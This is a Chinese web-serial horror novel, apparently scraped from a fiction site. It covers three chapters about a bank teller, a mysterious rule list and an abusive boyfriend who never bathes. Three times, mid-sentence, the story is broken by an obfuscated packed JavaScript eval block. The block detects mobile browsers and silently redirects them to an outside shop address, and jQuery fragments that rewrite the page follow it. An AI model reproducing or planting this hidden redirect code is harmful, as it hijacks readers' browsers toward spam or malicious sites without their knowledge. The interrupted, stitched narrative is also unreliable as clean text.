《和渣男同居后，我发现他从不洗澡》 1. 第一章 纸条 第一章纸条 一 陈默在银行干了五年，经手的钱能堆成一座小山，但她自己口袋里永远只装着一枚一分钱硬币。 那是三年前的事。但她现在还没扔。 也不是刻意留着，就是每次换衣服都顺手掏出来扔进新裤兜，时间长了，那枚硬币已经成了她身上的一部分，像一颗多余的痣，没什么用，但也不碍事，就一直带着。 硬币正面是国徽，反面被磨得几乎看不清年份。她偶尔等红灯的时候会把它掏出来，在手指间翻个面，再翻个面，然后红灯变绿，她把它塞回口袋，继续往前走。 六月下旬，梅雨季倒数第七天。 雨从早上下到现在还没停，玻璃窗上糊着一层水汽，外面的世界被揉成一团模糊的灰绿色。营业大厅里没人，保安老周靠在门边打哈欠，空调出风口嗡嗡响，整个网点像一艘沉在水底的船。 陈默对着电脑屏幕发呆。 她今天办了三笔业务：一笔水电费代缴，一笔定期转存，一笔换零钱。三笔业务加起来用时十七分钟，剩下七个小时四十三分钟，她都在等下班。 显示屏右下角跳成15:47。 门开了。 进来的老头大概七十多岁，穿着一件洗得发白的深蓝雨衣，雨水顺着下摆滴在地上，一路滴到陈默的窗口前。他走得很慢，像每一步都要先想清楚再落脚。 老周看了他一眼，没动。 老头在窗口前站定，从雨衣内袋里摸出一个塑料袋，塑料袋里包着一层报纸，报纸里裹着一只手帕，手帕里——倒出一枚硬币。 一分钱。 陈默盯着那枚硬币看了两秒。 “大爷，您存钱？” 老头点头。 “存多少？” 老头把硬币往前推了推，就那一枚。 陈默张了张嘴，把“您这是逗我玩呢”咽了回去。她在这窗口坐了五年，见过来存一毛两毛的，见过来换一百个一块硬币的，但专程来存一分钱的，这是头一个。 “大爷，”她尽量让声音听起来正常点，“您确定就存这一分？” 老头又点头。 陈默拿起那枚硬币。冰的，沾着雨水的湿气。她低下头开始敲键盘，准备手工录入这笔存款。 余光里，老头的手伸了过来。 不是伸向窗口的凹槽，是伸向那个递东西的缝隙——那个只够塞进一张纸、一只手、一个信封的缝隙。 一张纸条被塞了进来。 陈默愣住。 老头的嘴唇动了动，声音压得很低，低到只有她能听见： “今晚十二点前看。记住，对你男朋友，必须照做。” 陈默抬起头。 老头已经转身走了。雨衣的下摆拖过地砖，留下一道湿痕，然后那道湿痕被空调吹干，什么都没有了。 她低头看手里的纸条。 还没打开，老周的声音从柜台外传来：“陈默，刚才那位大爷存了多少？系统有记录吗？” 陈默下意识去看电脑屏幕。 交易记录那一栏—— 空白。 她还没开始录入，屏幕上当然什么都没有。但老周问的是“有记录吗”，而她盯着那片空白，突然有一种奇怪的感觉—— 那枚硬币，好像从来不属于这里。 “没办，”她听见自己说，“他走了。” 老周“哦”了一声，退回门边继续打哈欠。 陈默把纸条塞进工装裤兜里，和那枚一分钱硬币放在一起。 她低下头，盯着键盘，盯了很久。 二 下班已经是晚上八点四十。 雨停了，空气里全是水汽，像有人把整座城市放进蒸笼里蒸过。陈默挤了一个小时地铁，出站时天已经黑透，路灯下的水洼映出一块块碎光。 她走到单元楼下，抬头看七楼的窗户。 黑的。 王志强还没回来。 她说不清自己是松了一口气，还是又憋了一口气。 电梯上行的时候，她把那张纸条掏出来看了一眼，又塞回去。她没打开。地铁上太挤，没手。出站后太黑，没灯。现在电梯里有灯，但她突然不想看。 不知道在怕什么。 开门，换鞋，开灯。客厅还是那个客厅，沙发还是那个沙发，茶几上还放着三天前没收拾的外卖盒，已经馊了，一股酸臭味。 她放下包，先去开窗，然后去收拾外卖盒，然后去卫生间洗了把脸，然后坐在沙发上发呆。 然后她想起兜里那张纸条。 掏出来，展开。 纸条是那种最普通的作业本纸，撕得不齐，边上有毛刺。字是圆珠笔写的，笔迹很急，有些字被水洇过，糊成一团，但还能辨认。 她一行一行往下看： 《与“他”同居共存守则》 1. 他深夜回家敲门时，不要马上开门。数到三十，再开。 2. 他喝醉后说的话，无论多难听，不要反驳，不要流泪，点头就好。 3. 如果他在酒桌上吹牛说“我女朋友是银行的，有的是钱”，三天内必须提分手。 4. 真正的他，从不洗澡。 5. 如果他在KTV点了陪酒女，而那个女人朝你看了一眼——跑。能跑多远跑多远。 陈默盯着这张纸条，看了很久。 第一条，她不用学。她早就习惯等他敲门敲到第二十几下才去开——不是故意，是累了，不想动。 第二条，她也不用学。三年了，王志强喝醉后说的话，她一句都没反驳过。他说她没用，她就听着；说她配不上他，她也听着；说“要不是我，你能住这么好的房子”，她还是听着。听着听着就习惯了，听着听着就不知道自己还能说什么。 第三条，她见过。上个月他带她去一个饭局，喝多了就开始吹，“我女朋友银行的，柜员怎么了？柜员也有门路，改天让她给你们弄点贷款”。满桌子人哄笑，她低着头，恨不得把自己缩成一团空气。 第四条—— 她顿住了。 真正的他，从不洗澡。 从不洗澡。 她和王志强同居三年。 三年。 她拼命回忆，想找出一个他洗澡的画面。浴室门关着，水声哗哗，她隔着门喊“洗好了吗”—— 有吗？ 没有。 一次都没有。 她从来没见过他进浴室。从来没见过他用毛巾。从来没见过沐浴露的瓶子动过。 但她以前从没注意过。 第五条，她还没见过。他在KTV点陪酒女，她知道。消费小票她翻到过，一条一条列得明明白白：啤酒、果盘、果盘、啤酒、陪酒女（2位）*6 小时。但她没见过那些女人，她们只是小票上的一行字，不是活人。 如果有一天，她们从纸上走出来，朝她看一眼—— 跑。 能跑多远跑多远。 陈默把纸条折起来，又展开，又折起来。 她不知道该信还是不该信。 一个陌生老头，一张莫名其妙的纸条，一枚一分钱硬币——这听起来像什么？像她在银行窗口听了五年的那些“我跟你说，我昨天遇到个怪事”的闲聊。那些人说完就走了，她笑着点头，然后继续办下一笔业务。 但那张纸条现在在她手里。 而那枚硬币，还在她口袋里。 三 晚上一点二十。 陈默躺在床上，没睡。 窗帘没拉严，外面路灯的光漏进来一条缝，正好切在衣柜上。她盯着那条光缝，听客厅里的动静。 王志强还没回来。 她翻了个身，又翻了个身。手机亮了两次，都是垃圾短信。她把手机扣过去，盯着天花板。 纸条压在枕头底下。她伸手摸了一下，还在。 一点四十。 楼道里有脚步声。很重，拖沓，一步一停。陈默竖起耳朵听，那脚步声越来越近，越来越近，然后在门口停住了。 安静了三秒。 然后门被砸响了。 “砰——砰——砰——” 是拳头砸门的声音，不是敲门。每一下都砸得整栋楼都在抖。 “开门！陈默！开门！” 王志强的声音，含糊，大舌头，喝大了。 陈默躺着没动。 “砰——砰——砰——！” “陈默！我操你妈的聋了？！开门！” 她开始数。 一、二、三…… 砸门声一下接一下，中间夹着骂娘，夹着踹门，夹着楼道里回声荡来荡去。 十一、十二、十三…… 她从来没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387613|200269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 数过这么慢。三十秒，平时就是一眨眼的工夫，现在每一秒都像被拉长了一倍。砸门声越来越响，骂声越来越难听，她甚至能听见邻居家开门又关上的声音。 二十三、二十四、二十五…… 门外突然安静了。 那一下安静来得毫无征兆，像有人一刀切断了所有声音。骂声没了，砸门声没了，连楼道里嗡嗡的灯管声都没了。 陈默攥紧被角。 二十八、二十九—— 三十。 她坐起来，下床，光着脚走到门口，握住门把手。 门把手是凉的。比平时凉，像刚从冰箱里拿出来的铁。 她深吸一口气，拧开。 门开了。 王志强站在门外。 走廊的声控灯没亮。他整个人站在黑暗里，只能看见一个轮廓，和两只眼睛——那两只眼睛在反光，像猫，像狗，像什么夜里会发光的动物。 陈默下意识往后退了一步。 王志强迈进来，灯亮了。 他还是那个王志强。四十岁，发福，脸喝得通红，眼睛眯着，一身酒气。西装外套歪了半边，衬衫领口敞着，领带勒在脖子上一半松一半紧。 他盯着陈默看。 那眼神不对。不是喝醉的那种涣散，是清醒的。是审视的。是—— 陈默不知道那是什么。 “磨蹭什么呢？”他开口，声音和平时一样，“我他妈在外面挣钱养你，你连个门都不利索开？” 陈默没说话。 她想起规则第二条。 王志强从她身边挤过去，鞋子也不脱，直接踩进客厅，一屁股砸进沙发里。沙发发出一声闷响。 “倒水。” 陈默去倒水。 水壶是空的。她打开水龙头接水，烧上，站在厨房里等。客厅里没声音。她回头看，王志强仰在沙发上，眼睛闭着，像是睡着了。 她端着水杯走过去，放在茶几上。 转身要回卧室。 “陈默。” 她停下。 王志强还闭着眼，但嘴在动。 “我今天在酒桌上，又跟他们吹你了。” 陈默站着没动。 “我说，我女朋友银行的。柜员。别看不起柜员，她们行长都得给她面子。改天让她给你们弄点贷款——” 他睁开眼，扭头看她，咧嘴笑了。 “他们信了。” 陈默的手指攥紧了一下，又松开。 “你明天，”王志强说，“给我开个户。公司要用。” “你公司不是有户吗？” “再开一个。” “在哪开都行，你明天自己来我们网点办——” “我说你开就你开。”他的声音突然沉下去，“听不懂人话？” 陈默没说话。 王志强盯着她，又笑了一下，那笑容很短，像撕开一道口子又立刻合上。 “行，睡吧。” 他闭上眼，不再动了。 陈默站在原地，站了五秒，然后转身走进卧室，关上门。 她背靠着门，慢慢滑坐到地上。 客厅里没有水声。他没起来喝水。他没去洗澡。他甚至没动。 他就那么躺在沙发上，躺在一片黑暗里。 陈默把那张纸条从枕头底下抽出来，就着路灯的光，又看了一遍第五条： 如果他在KTV点了陪酒女，而那个女人朝你看了一眼——跑。 她想起茶几上那张消费小票。 那是三天前的事了，她翻他口袋时翻出来的。她没问，他也没说。 小票上写的陪酒女，是两个。 她们长什么样，她不知道。 但如果有一天，她们从那张小票里走出来，朝她看一眼—— 她能跑哪去？ 陈默把纸条攥在手心里，蜷缩着躺在地上，背抵着门，一夜没睡。 门外始终没有声音。 第二天早上，她醒来的时候，王志强已经走了。茶几上的水杯还是满的，一口没动。 沙发垫上有一个印子，像有人躺过的痕迹。 但那印子的形状，有点不对。 太深了。 像躺了很长时间。 像躺了——很多年。 --- 第一章完 2. 第二章 试探 第二章试探 一 陈默到银行的时候，是早上七点四十。 她一夜没睡，眼底挂着两团青黑，在更衣室换工装时对着镜子看了自己三秒，然后移开视线。 那枚一分钱硬币还在口袋里。她换裤子的时候掏出来看了一眼，又塞回去。不知道为什么，她不想把它放在家里。 八点整，她坐到窗口前，打开电脑，输入工号，等待系统登录。 屏幕亮起来的那一刻，她愣了一下。 昨天的交易记录那一栏，还是空白。 当然应该是空白——她昨天什么都没录进去。但她盯着那片空白，总觉得有什么不对。 她点开流水查询，输入自己的工号，日期选昨天。 页面刷新。 15:47 那一行，什么都没有。 她知道没有。她亲眼看着老头转身走的，她根本没来得及录。 但老周问的那句话突然冒出来：“系统有记录吗？” 没有记录。 那个老头，那枚硬币，那张纸条——像从来没存在过。 陈默把手伸进口袋，摸到那枚硬币，冰的，硬的，还在。 她深吸一口气，开始办今天的业务。 上午十点半，人不多。陈默正在给一个大妈办定期转存，余光里，老周的声音从身后传来： “陈默，昨天那个老头后来又来了吗？” 陈默的手指停在键盘上。 “什么老头？” “就昨天下午，下雨那会儿，穿蓝雨衣那个。”老周靠着墙，手里转着保安帽，“我后来想了想，他走的时候，我好像没听见开门那一下。” 陈默没回头：“什么意思？” “就那感应门，”老周说，“平时谁进出都有‘叮’一声，对吧？他走的时候，我没听见那声。” 陈默转过头看老周。 老周五十多岁，在这网点干了六年，每天的工作就是开门、关门、帮老人按叫号机、提醒客户“钱包收好”。他不是那种爱讲鬼故事的人，甚至有点迟钝，去年网点进小偷，他是最后一个反应过来的。 但现在他说这话的时候，表情是认真的。 “可能是雨太大，没听清。”陈默说。 老周点点头：“也是。” 他转身走回门边。 陈默盯着他的背影看了两秒，然后继续办业务。 那笔定期转存办完，大妈走了。陈默对着电脑屏幕发呆。 她想起昨天那个老头塞纸条的动作——不是从窗口凹槽递进来的，是从那个缝隙塞进来的。 那个缝隙只有两三厘米宽，塞一张纸刚刚好，一只手是绝对不可能塞进来的。 她在这窗口坐了五年，从来没人从那个缝隙递过东西。那是封死的，不是递东西的地方。 但昨天，那个老头的手，就是从那里伸进来的。 下午两点，陈默去了一趟洗手间。 洗手的时候，她又把那枚硬币掏出来，放在水龙头下冲了冲。 水流过硬币表面，什么都没发生。硬币还是那枚硬币，国徽还是那个国徽，磨得看不清的年份还是看不清。 她关掉水，把硬币擦干，放回口袋。 回到工位的时候，手机震了一下。 王志强发来一条微信： “晚上不回去吃，有应酬。” 陈默盯着那行字看了五秒，打了三个字回过去： “知道了。” 她没问他什么应酬，在哪，跟谁。三年了，她早就不问了。 但今天，她盯着那三个字，突然想起规则第五条： 如果他在KTV点了陪酒女，而那个女人朝你看了一眼——跑。 KTV。 他今晚去的，会不会是KTV？ 二 晚上七点四十，陈默下班。 她没有直接回家，而是在地铁站里站了十分钟，看着来来往往的人。下班高峰，人挤人，每个人都低着头看手机，每个人脸上都带着一种疲惫的麻木。 她不知道自己为什么要站在这儿。 可能是……不想回去。 那个家，那间客厅，那张沙发——今天早上出门前，她又看了一眼沙发垫上的印子。经过一夜，那个印子还在，没有弹回来，像一个陷下去的坑。 她拍了张照片，存在手机里，然后出门上班。 现在她站在地铁站里，把那照片翻出来看。 沙发垫是记忆棉的，平时人躺过，几分钟就能恢复原状。但这个印子，从昨晚躺到今早，一点没变。 她想发给她认识的人看看，问问这正常吗，但翻了半天通讯录，不知道该发给谁。 三年了，她的朋友越来越少。王志强不喜欢她和以前的朋友来往，说那些人“没用”“耽误时间”。后来她就不怎么联系她们了，再后来，她们也不联系她了。 她把手机塞回口袋，刷卡进站。 到家是八点四十。 开门，开灯，客厅还是那个客厅。她站在门口，盯着那张沙发。 印子还在。 她走过去，伸手按了按沙发垫。 软的，弹的，正常的。 但她一松手，那个印子——像有记忆一样——又慢慢变回那个形状。 不是完全变回去，是……恢复了一点点，但大体上还是那个坑。 陈默往后退了一步。 她盯着那个坑，看了很久。 然后她转身，把全屋的灯都打开了。 三 晚上一点整。 陈默躺在床上，没睡。 客厅的灯全开着，卧室的门虚掩着，留了一道缝。光线从那道缝里漏进来，在地上切出一条细长的亮条。 王志强还没回来。 她侧躺着，盯着那条光缝。 手机放在枕头边，静音。她隔一会儿就按亮屏幕看一眼时间。 01:07。 01:14。 01:21。 01:28。 一点半的时候，楼道里传来脚步声。 不是昨天那种拖沓的、喝醉的脚步。是正常的脚步，不快不慢，一步接一步，走到门口，停住。 然后，钥匙捅进门锁的声音。 门开了。 陈默攥紧被角，听着客厅里的动静。 脚步声走进来，停住。安静了几秒。然后——沙发响了一声。 他坐下了。 没有开灯。客厅的灯明明全开着，但他坐下之后，什么都没动。没关灯，没开电视，没倒水，没去厕所。 就那么坐着。 陈默听着自己的心跳，一下，两下，三下。 客厅里始终没有声音。 她不知道坐了多久，可能五分钟，可能十分钟。然后—— 脚步声站起来，朝卧室走过来。 陈默闭上眼睛，调整呼吸，假装睡着。 门被推开了。 光线从客厅涌进来，她的眼皮能感觉到那种亮度。王志强就站在门口，站在那里，一动不动。 她忍着没有睁眼。 一秒。两秒。三秒。 门被关上了。 脚步声走回客厅，沙发又响了一声。然后，安静。 陈默慢慢睁开眼，盯着天花板。 他没进来。他就站在门口，看了她一眼，然后把门关上了。 她不知道自己该松一口气，还是该更害怕。 那一夜，她没怎么睡。 客厅里偶尔有动静——沙发响一下，脚步走两步，停住，又走两步，又停住。像有人在客厅里来回踱步，走几步就停，停一会儿再走。 但她不敢出去看。 天亮的时候，她醒过来。 客厅里没人。 茶几上放着一个塑料袋，袋子里是早餐——豆浆、油条、茶叶蛋。还热着。 王志强已经走了。 陈默站在茶几前，盯着那袋早餐。 三年了，他从来没买过早餐。 四 上午十点，陈默在办业务的时候，手机震了。 她趁客户填单的空隙看了一眼—— 是王志强发来的照片。 一张酒桌，上面摆着啤酒、果盘、几碟小菜。桌边坐着三四个人，都是男的，脸被糊了，看不清。照片的角落里，有一只手，涂着红色的指甲油，端着一杯酒，正要往镜头里递。 配文：“昨晚的局，下次带你。” 陈默盯着那只手。 红色指甲油，很红，像血。 她放大照片，想看清那个女人的脸。但照片太糊，那只手后面只有一片虚影，什么也看不清。 她把手机扣在桌上，深吸一口气。 “姑娘，我填好了。”客户把单子递进来。 陈默接过来，低头敲键盘。 但她脑子里全是那只手。 红色的指甲油。 端着一杯酒。 正要往镜头里递——还是正要往镜头外伸？ 她不知道。 晚上回到家，陈默做的第一件事，是打开王志强的衣柜。 她也不知道自己要找什么。 三年了，她从没翻过他的衣柜。不是不想，是觉得没必要——他的东西就是他的，她的东西是她的，分得很清。 但今天，她打开了。 衣服叠得整整齐齐，衬衫、裤子、外套，按颜色分类。她伸手摸了摸那些衣服—— 都是干的。 都是凉的。 都是……干净的？ 她低头闻了闻。 没有汗味，没有烟味，没有任何味道。 像从来没人穿过。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387614|200269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陈默退后一步，关上柜门。 她站在卧室中间，看着那张床，那个衣柜，那扇门。 门缝下面，客厅的光透进来，细细一条。 她突然想起昨天夜里，王志强站在门口看她的时候——他站了多久？三秒？五秒？还是更久？ 如果她那时候睁开眼，会看到什么？ 她不知道。 五 凌晨一点四十。 王志强还没回来。 陈默躺在床上，盯着手机。 她今天用地图搜了搜附近的KTV。离她家最近的有三家，都在两公里内。她不知道王志强去的哪家，但她把三家都存进了收藏夹。 不知道能干什么。就是想存着。 二点整，楼道里传来脚步声。 还是昨天的节奏——不快不慢，一步接一步，在门口停住，钥匙捅进门锁。 门开了。 沙发响了一声。 然后，安静。 陈默等着。 一分钟。两分钟。五分钟。 客厅里始终没有声音。没有脚步走动，没有喝水声，没有任何动静。只有沙发那一下响，然后就什么都没了。 她想起昨晚他站在门口看她的那几秒。 今晚呢？他会不会再过来？ 她等。 十分钟。十五分钟。 还是没有声音。 陈默慢慢坐起来，光着脚下床，走到门边。 她握住门把手，没动。 听。 客厅里一片死寂。连呼吸声都没有。 她深吸一口气，轻轻把门推开一条缝。 客厅灯亮着。沙发上—— 没有人。 茶几上的早餐袋还在，豆浆杯已经凉了。电视关着，窗户关着，什么都没动。 但王志强不在。 她推开门，走进客厅。 沙发垫上有一个印子——刚刚有人坐过的印子。但那个印子，正在慢慢恢复，一点一点，像记忆棉该有的样子。 她站那儿盯着那个印子看。 直到它完全恢复，变得和其他地方一样平整。 陈默站在客厅中央，看着那张沙发，看着那袋凉掉的早餐，看着那扇关着的门。 他回来了。坐下了。然后呢？ 然后去哪了？ 她没听见门响。她没听见任何声音。他就这么……消失了？ 她站了很久。 然后她走回卧室，拿起手机，凌晨二点四十三分，给王志强发了一条微信： “你今晚回来过吗？” 发完她盯着屏幕，等。 一分钟。五分钟。十分钟。 没有回复。 她把手机扣在枕头底下，闭上眼。 窗外的路灯照进来一条缝，正好切在衣柜上。 她想起那张纸条的第一条——数到三十再开门。 她今晚没数。因为她根本没去开门。 但问题是，他是怎么进来的？ 他有钥匙。当然有钥匙。 但为什么她没听见门响？ 陈默一夜没睡。 第二天早上，手机震了。 王志强的回复，凌晨三点十七分发来的： “回了。看你睡了，没吵你。” 陈默盯着那行字。 凌晨三点十七分。 那时候她醒着。她一直醒着。她没听见任何人进来，没听见任何声音。 她打字回过去： “几点走的？” 对面过了很久才回： “早起有事，走得早。你晚上想吃什么？我带回去。” 陈默盯着屏幕，没有回复。 她把手机放下，去洗漱。 刷牙的时候，她看着镜子里的自己。 眼底的青黑更深了。眼眶有点凹。嘴唇有点干。 她打开水龙头，用手捧了一捧水，扑在脸上。 水很凉。 她想起规则第四条： 真正的他，从不洗澡。 从不洗澡。 从不碰水。 她关掉水龙头，盯着镜子里满脸水珠的自己。 如果他从不洗澡—— 那他怎么保持“干净”的？ 她想起昨天翻他衣柜的时候，那些衣服上没有任何味道。不是香水味，不是洗衣液味，是——什么都没有。 像从来没人穿过。 像从来没人碰过。 陈默擦干脸，走出洗手间。 那枚一分钱硬币还放在床头柜上，她昨晚睡前掏出来的。 她拿起来，攥在手心里。 冰的。 和昨天一样冰。 和那个雨天老头递给她的那枚，一样冰。 --- 第二章完 3. 第三章 味道 第三章味道 一 第三天。 陈默下班的时候，天还亮着。 六点四十，太阳刚往下沉，西边的云烧成一片橘红色。她站在单元楼下，抬头看七楼的窗户。 灯亮着。 她愣了一下。 这三年，王志强从来没有比她早回来过。从来没有。最早也是九点以后，通常都是十一点、十二点，有时候直接凌晨。 现在六点四十，灯亮着。 陈默站在楼下，站了五秒，然后走进去。 电梯上行的时候，她把手伸进口袋，摸到那枚一分钱硬币。冰的，硬的。她攥了一下，又松开。 门开之前，她深吸了一口气。 钥匙捅进去，拧开，推门。 客厅里电视开着，声音不大，是某个新闻频道，主持人正在播报什么油价上涨的消息。沙发上躺着一个人——王志强，仰在那儿，啤酒肚挺着，一只手搭在肚子上，一只手拿着遥控器，眼睛盯着屏幕。 他回来了。 真的回来了。 六点四十，他回来了。 陈默站在门口，忘了换鞋。 王志强扭头看了她一眼，又扭回去继续看电视。 “愣着干嘛？进来啊。” 声音是平时的声音，不高不低，不冷不热。像什么都没发生过。 陈默换鞋，放下包，走进客厅。她从沙发背后绕过去，想进卧室换衣服，但走到沙发旁边的时候，她停住了。 有一股味道。 很淡，但确实有。 是那种……油味。不是油烟，是那种人身上出油的味道，汗和油脂混在一起，放了一整天，发出来的那种闷闷的、腻腻的味。 陈默站住了。 三年了，她从来没在王志强身上闻到过任何味道。没有汗味，没有烟味，没有酒味，没有任何人该有的味道。 但现在，有味道了。 她低头看他。 他还是那么躺着，啤酒肚一起一伏，眼睛盯着电视。新闻播完了，开始放广告，一个洗衣液的广告，一个女人举着白衬衫笑。 陈默张了张嘴。 话到嘴边，又咽回去。 她走进卧室，关上门，在床上坐了一会儿。 那味道还在她鼻子里。不是难闻，是不对。 三年没味道的人，突然有味道了——这比一直有味道更让人不舒服。 她坐了两分钟，站起来，又走出去。 王志强还在那儿躺着。遥控器换了个台，现在在放什么综艺节目，罐头笑声一阵一阵的。 陈默站在沙发旁边，看着他。 “王志强。” 他抬眼：“嗯？” “你去洗个澡吧。” 王志强的眼睛从电视上移开，看了她一眼，又移回去。 “不洗。” 陈默站着没动。 那味道又飘过来。淡淡的，腻腻的，像什么东西放坏了。 “你身上有味儿了。”她说。 “什么味儿？” “油味儿。你自己闻不到？” 王志强没说话，换了个姿势躺着，背对着她。 陈默盯着他的后背。那件衬衫是浅蓝色的，领口有点发灰，腋下有两块深色的汗渍。她以前从没注意过这些——或者说，以前没有，所以不用注意。 “去洗一个吧。”她又说了一遍。 “不去。” “很快的，十分钟就好。” 王志强没理她。 陈默站在那儿，突然觉得有一股气从胸口往上顶。 不是愤怒，是说不清的东西。三年了，她等了三年，每天等他回来，等他早点回来，等他有一天能像正常人一样下班回家，等她不用一个人吃饭一个人睡觉一个人醒过来—— 现在他回来了。 六点四十就回来了。 躺在沙发上看电视。 身上有味儿了。 让他洗个澡，他说不去。 就这么简单的一句话，她说第三遍了，他连头都不回。 陈默绕过沙发，走到他面前，低头看着他。 “王志强。” 他抬眼。 “去洗澡。” “我说了不洗。” “你身上真有味儿了。” “有什么味儿？我自己闻不到。” “你自己当然闻不到，你天天穿着这件衣服——” “这衣服昨天刚换的。” “不可能，”陈默说，“你腋下都有汗渍了。” 王志强的眼睛眯了一下。 就一下。 然后他坐起来，把遥控器往茶几上一扔，声音不大，但有点沉。 “你今天怎么回事？” 陈默没说话。 他也站起来。 站着的时候比她高半个头，啤酒肚几乎要贴到她身上。那股油味更浓了，闷闷的，腻腻的，像一块放了三天的肥肉。 “我就想让你洗个澡。”陈默说。 “我不洗。” “为什么？” “不为什么，就不洗。” “总有个理由吧？” 王志强盯着她，没说话。 陈默也盯着他。 两个人就这么站着，电视里的罐头笑声一阵一阵往外冒。 “你以前也不洗，”陈默听见自己说，“三年了，你从来没洗过澡。” 王志强的脸色变了。 就一点点。眼角往下拉了一点，嘴角抿紧了一点。如果不盯着看，根本看不出来。 “你什么意思？” 陈默没回答。 她伸出手，抓住他的袖子。 “去洗澡。” 王志强甩开她的手。 “别碰我。” 陈默又抓住。 这次抓的是手腕。他的手腕很粗，很热，热的有点不正常。像发着低烧的那种热。 “你去洗。” “陈默。” “去洗。” “陈默！” 他一把甩开她，用的力气比刚才大得多。 陈默往后踉跄了两步，小腿撞在茶几角上，整个人失去平衡，一屁股坐在地上。 疼。 小腿火辣辣地疼，屁股也疼，手掌撑地的时候蹭了一下，火辣辣的。 她坐在地上，抬头看他。 王志强站在那儿，低头看着她。脸上的表情不是愤怒，不是愧疚，是—— 她看不懂。 “你又不是不知道，”他说，声音很低，像从喉咙深处挤出来的，“我从来不在晚上洗澡。” 陈默愣住。 从来不在晚上洗澡。 她不知道。 她真的不知道。 她连他洗不洗澡都不知道，怎么可能知道他什么时候洗？ 但他说得好像这应该是常识。好像她应该知道。好像这是他们之间早就说好的事。 “那你什么时候洗？”她问。 王志强没回答。 他转过身，走回沙发，坐下，拿起遥控器，继续换台。 综艺节目没了，换成一个电视剧，男女主角在吵架，声音很大。 陈默还坐在地上。 小腿疼，手掌疼，屁股疼。她低头看小腿，蹭破了一层皮，正在往外渗血，细细的一道，像红线。 她盯着那道红线，看了很久。 然后她爬起来，走进卧室，关上门。 这次她没有靠着门滑坐下去。她走到床边，坐下，拿起手机，看了一眼时间。 19:14。 他六点四十回来的。她六点五十到家的。现在七点十四，二十四分钟，她坐在地上用了大概五分钟，刚才那一切，十九分钟。 十九分钟。 她等了他三年，他第一次早回来，十九分钟就把她推地上了。 陈默躺到床上，盯着天花板。 客厅里电视的声音隐隐约约传进来。男女主角吵完了，换成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387615|200269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 片尾曲，又换成广告，又换成另一个电视剧。 她躺着，一动不动。 不知道过了多久，门开了。 王志强站在门口。 陈默没动，没扭头看他。 “陈默。” 她没应。 他走进来，走到床边，坐下。床垫陷下去一块，她往那边歪了一点。 “刚才我手重了，”他说，“没事吧？” 陈默没说话。 他伸手过来，想摸她的腿。 陈默躲开了。 他的手停在半空，顿了两秒，收回去。 “我就是不想洗，”他说，“你不知道，我这人有点毛病，晚上洗澡睡不着。” 陈默没说话。 “真的。以前没跟你说过，但就是这样。晚上洗了澡，躺床上翻来覆去，一夜睡不着。所以我都早上洗。” 陈默扭过头，看着他。 “你早上洗？” “对。” “我每天早上起来，你都在睡觉。” 王志强顿了一下。 “……我起得早，你还没醒。” 陈默盯着他。 他也盯着她。 三秒。五秒。十秒。 “行，”陈默说，“那你明天早上洗给我看。” 王志强的表情僵了一瞬。 就一瞬。 然后他笑了。 “行啊，”他说，“明天早上，我洗给你看。” 他站起来，走出去。 门没关。 客厅的灯光漏进来一条缝，切在地板上。 陈默躺在那儿，盯着那道光。 她不知道他说的是不是真的。 但她知道一件事—— 他刚才笑的时候，嘴里有一股味道。 不是烟味，不是酒味，不是油味。 是别的。 像什么东西，放得太久，已经开始烂了。 二 那天晚上，陈默没睡。 她躺在床上，睁着眼，等天亮。 客厅里的电视开了一夜。王志强没进来。她偶尔能听见沙发响一声，脚步声走几步，又停住，又走几步，又停住。 和前两天一样。 凌晨三点多，她拿起手机，给王志强发了条微信： “你睡了吗？” 客厅里没声音。 手机一直没响。 早上六点，天亮了。 陈默坐起来，下床，打开卧室门。 客厅里没人。 电视还开着，在放早间新闻。茶几上放着一个塑料袋，袋子里是早餐——豆浆、油条、茶叶蛋。还热着。 沙发垫上有一个印子。 很深。 像躺了一夜。 陈默站在那儿，盯着那个印子。 她等。 一分钟。两分钟。五分钟。 那个印子没有恢复。 她走过去，伸手按了按沙发垫。软的，弹的，正常的。她一松手，那个印子——慢慢、慢慢、慢慢地，恢复了一点，但还是有个坑。 像一个人躺过的地方。 像一个东西躺过的地方。 她站在那儿，看了很久。 然后她转身，走进洗手间。 洗手间里，一切如常。 毛巾是干的。浴巾是干的。地漏没有头发。沐浴露的刻度线，还是那个位置。 他早上没洗澡。 他骗了她，他早上也不会洗澡。 陈默盯着那瓶沐浴露，盯了很久。 然后她打开水龙头，用手捧了一捧水，扑在脸上。 水很凉。 她抬起头，看着镜子里的自己。 眼底的青黑更深了。眼眶凹进去。嘴唇干裂。 她看了一会儿。 然后她低下头，把脸埋进双手里。 水从指缝漏出来，一滴一滴，滴进洗手池。 --- 第三章完 4. 第四章 乌云 第四章乌云 一 